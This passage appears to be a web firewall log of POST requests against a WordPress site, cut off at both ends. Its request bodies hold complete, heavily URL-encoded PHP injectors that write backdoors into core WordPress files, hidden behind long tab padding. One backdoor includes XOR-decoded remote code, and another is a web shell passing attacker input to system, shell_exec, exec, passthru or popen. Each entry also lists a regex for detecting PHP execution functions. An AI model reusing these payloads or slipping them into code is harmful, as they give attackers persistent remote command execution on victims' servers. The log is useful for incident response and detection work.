520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:00:40","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4393\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nAS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:00:43","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:4416\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status412.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%2529%2529%257B%2520%2524itm%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6Bey%2522%255D%253B%2520%2524itm%2520%253Dexplode%2528%2520%2527.%2527%2520%252C%2520%2524itm%2529%2520%253B%2520%2524object%253D%2520%2527%2527%253B%2520%2524salt%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2520%2524salt%2520%2529%253B%2520%2524l%253D%25200%253B%2520%2524__tmp%253D%2520%2524itm%253B%2520while%2528%2520%2524v7%253D%2520array_shift%2528%2520%2524__tmp%2529%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2520%2524salt%255B%2524l%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524d%253D%2520%2528%2520%2528%2520int%2529%2524v7%2520-%2520%2524sChar%2520-%2528%2520%2524l%2520%2525%252010%2529%2529%2520%255E%252066%253B%2520%2524object%2520.%253D%2520chr%2528%2520%2524d%2520%2529%253B%2520%2524l%252B%252B%253B%257D%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524marker%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524marker%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524ent%2520%253D%2520sprintf%2528%2522%2525s\/.mrk%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524object%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:00:45","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ro:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor3%2529%2529%2520%257B%2520%2524task_processor3%2528%2524component%252C%2520%2524pset_factor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pset_factor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor4%2529%2529%2520%257B%2520%2524task_processor4%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor5%2529%2520%2526%2526%2520function_exists%2528%2524task_processor6%2529%2520%2526%2526%2520function_exists%2528%2524task_processor7%2529%2529%2520%257B%2520%2524descriptor_elem%2520%253D%2520%2524task_processor5%2528%2524component%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_elem%2529%2520%257B%2520%2524tkn_hld%2520%253D%2520%2524task_processor6%2528%2524descriptor_elem%2529%253B%2520%2524task_processor7%2528%2524descriptor_elem%2529%253B%2520print%2520%2524tkn_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHz8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5380\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nRo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-media-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor7%2520%253D%2520%2522p%255Cx63%255Cx6Cos%255Cx65%2522%253B%2520%2524task_processor5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520%2524task_processor3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor4%2520%253D%2520%2522%255Cx70a%255Cx73sthru%2522%253B%2520%2524task_processor2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524task_processor1%2520%253D%2520%2522sys%255Cx74%255Cx65%255Cx6D%2522%253B%2520%2524task_processor6%2520%253D%2520%2522str%255Cx65%255Cx61m_get_c%255Cx6Fn%255Cx74ents%2522%253B%2520%2524buffer_cache%2520%253D%2520%2522%255Cx68%255Cx65x%255Cx32%255Cx62in%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2520%2528%2520%2524factor%2520%252C%2520%2524descriptor%2520%2529%2520%257B%2520%2524elem%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524h%253D0%253B%2520%2524h%253Cstrlen%2528%2524factor%2529%253B%2520%2524h%252B%252B%2529%257B%2520%2524elem.%253Dchr%2528ord%2528%2524factor%255B%2524h%255D%2529%255E%2524descriptor%2529%253B%2520%257D%2520return%2520%2524elem%253B%2520%257D%2520%2524component%2520%253D%2520%2524buffer_cache%2528%2524_POST%255B%2522%255Cx63ompo%255Cx6Ee%255Cx6E%255Cx74%2522%255D%2529%253B%2520%2524component%2520%253D%2520mutex_lock%2528%2524component%252C%252059%2529%253B%2520if%2520%2528function_exists%2528%2524task_processor1%2529%2529%2520%257B%2520%2524task_processor1%2528%2524component%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524task_processor2%2529%2529%2520%257B%2520print%2520%2524task_processor2%2528%2524component%2529%253